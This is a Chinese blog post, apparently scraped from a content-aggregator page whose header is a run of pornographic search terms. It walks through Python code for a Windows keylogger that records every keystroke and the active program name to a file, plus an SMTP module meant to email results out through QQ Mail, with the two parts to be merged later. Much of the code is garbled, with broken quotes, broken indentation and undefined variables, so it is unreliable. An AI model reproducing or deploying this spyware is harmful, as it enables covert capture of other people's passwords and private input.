日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

使用Python实现键盘记录器和邮箱自动通知

發布時間:2023/12/3 python 102 豆豆
生活随笔 收集整理的這篇文章主要介紹了 使用Python实现键盘记录器和邮箱自动通知 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 鍵盤記錄器
    • 參考
    • (1)鍵盤記錄器-模塊實現
    • (2)發送郵箱-模塊實現
    • (3)模塊合并

鍵盤記錄器

參考

??《python:搞事情!鍵盤記錄并截屏》,
地址https://baijiahao.baidu.com/s?id=1672705522702921685&wfr=spider&for=pc

??《Python通過SMTP發送郵件總是驗證失敗》,
地址https://segmentfault.com/q/1010000003802498

前言
??讓人感到為難的,是找不到實驗筆記。
??雖然在服務器上搭建過hexo,但自從被誤刪之后,就習慣于在本地保存筆記。經歷多次花費時間和心情的尋找之后,才會進化。

正文
??鍵盤記錄器是許多黑客入門的玩具。
實驗環境:編程環境Python3.7.6。操作系統Windows 10 專業版。

原理
??hook程序:本質是通過系統調用,把該程序掛入系統指令,hook程序可以截獲特定消息,經過加工后重放或中止傳遞。
??鍵盤hook:可以監控鍵盤操作。鍵盤hook,可以截獲鍵盤消息,全局鉤子可以捕獲Win平臺下任意窗口的鍵盤操作。
??系統調用函數:鍵盤記錄使用user32.dll創建SetWindowsExA()函數,將特定指針注冊到Hook Chain中,記錄到來的鍵盤消息,并完成其他函數操作(比如截屏)。

(1)鍵盤記錄器-模塊實現

# 鍵盤記錄

from pynput.keyboard import Listener
from ctypes import *
from PIL import ImageGrab
import datetime

keyboard = Listener()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi

獲取進程名稱

def get():
??hwnd = user32.GetForegroundWindow()
??pid = c_ulong(0)
??user32.GetWindowThreadProcessId(hwnd, byref(pid))
??executable = create_string_buffer(512)
??h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
??psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
??windows_title = create_string_buffer(512)
??kernel32.CloseHandle(hwnd)
??kernel32.CloseHandle(h_process)
??return executable.value + windows_title.value

def press(key):
??with open(‘D:\1\keyboard.txt’, ‘a+’) as f:
??try:
????f.write(str(datetime.datetime.now()) + “鍵盤輸入:”)
????f.write(str(key.char)+’- 當前使用程序:’)
????f.write(str(get())+’\n’)
??except AttributeError:
????f.write(str(key)+’ ‘)
????f.write(str(get())+’\n’)
if name == ‘main’:
# 鍵盤記錄
??with Listener(on_press=press) as listener:
??listener.join()

運行效果:

(2)發送郵箱-模塊實現

??使用QQ郵箱自動登錄并發送郵件,要開啟QQ郵箱的SMTP服務,申請授權碼。

import os
import sys
import smtplib
from smtplib import SMTP_SSL
from email.header import Header
from email.mime.text import MIMEText

def send():
??smtp = SMTP_SSL(mailInfo[“hostname”])
??smtp.set_debuglevel(1)
??smtp.ehlo(mailInfo[“hostname”])
??smtp.login(mailInfo[“username”], mailInfo[“password”])

??msg = MIMEText(mailInfo[“mailtext”], “text”, mailInfo[“mailencoding”])
??msg[“Subject”] = Header(mailInfo[“mailsubject”], mailInfo[“mailencoding”])
??msg[“from”] = mailInfo[“from”]
??msg[“to”] = mailInfo[“to”]
??smtp.sendmail(mailInfo[“from”], mailInfo[“to”], msg.as_string())
??smtp.quit()

if name == ‘main’:
??mailInfo = {
??“from”: “send_mail@qq.com”,
??“to”: “accept_mail@163.com”,
??“hostname”: “smtp.qq.com”,
??“username”: “send_mail@qq.com”,
??“password”: “SMTP授權碼”,
??“mailsubject”: “this is test”,
??“mailtext”: text,
??“mailencoding”: “utf-8”
??}
??send()

模塊運行效果:

(3)模塊合并

??且聽下回分解。

總結

以上是生活随笔為你收集整理的使用Python实现键盘记录器和邮箱自动通知的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。